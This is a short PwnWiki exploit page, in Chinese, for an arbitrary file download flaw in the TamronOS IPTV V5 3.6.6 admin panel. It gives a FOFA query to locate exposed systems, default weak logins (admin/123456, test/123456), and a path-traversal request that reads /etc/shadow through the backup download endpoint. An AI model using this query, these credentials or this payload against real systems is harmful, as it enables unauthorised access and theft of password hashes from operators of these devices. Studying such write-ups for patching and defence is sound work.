TamronOS IPTV系统后台任意文件下载漏洞

From PwnWiki
Revision as of 09:33, 13 June 2021 by Pwnwiki (talk | contribs) (Created page with "==漏洞利用==")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Other languages:
Chinese • ‎English • ‎中文(中国大陆)‎

漏洞影响

TamronOS IPTV V5 3.6.6

FOFA

title="TamronOS IPTV系统"

弱口令

admin/123456
test/123456

漏洞利用

系统设置 -- 数据库自动备份,下载文件并且抓包。 修改参数,Payload如下:

GET /download/backup?name=./../../../../../etc/shadow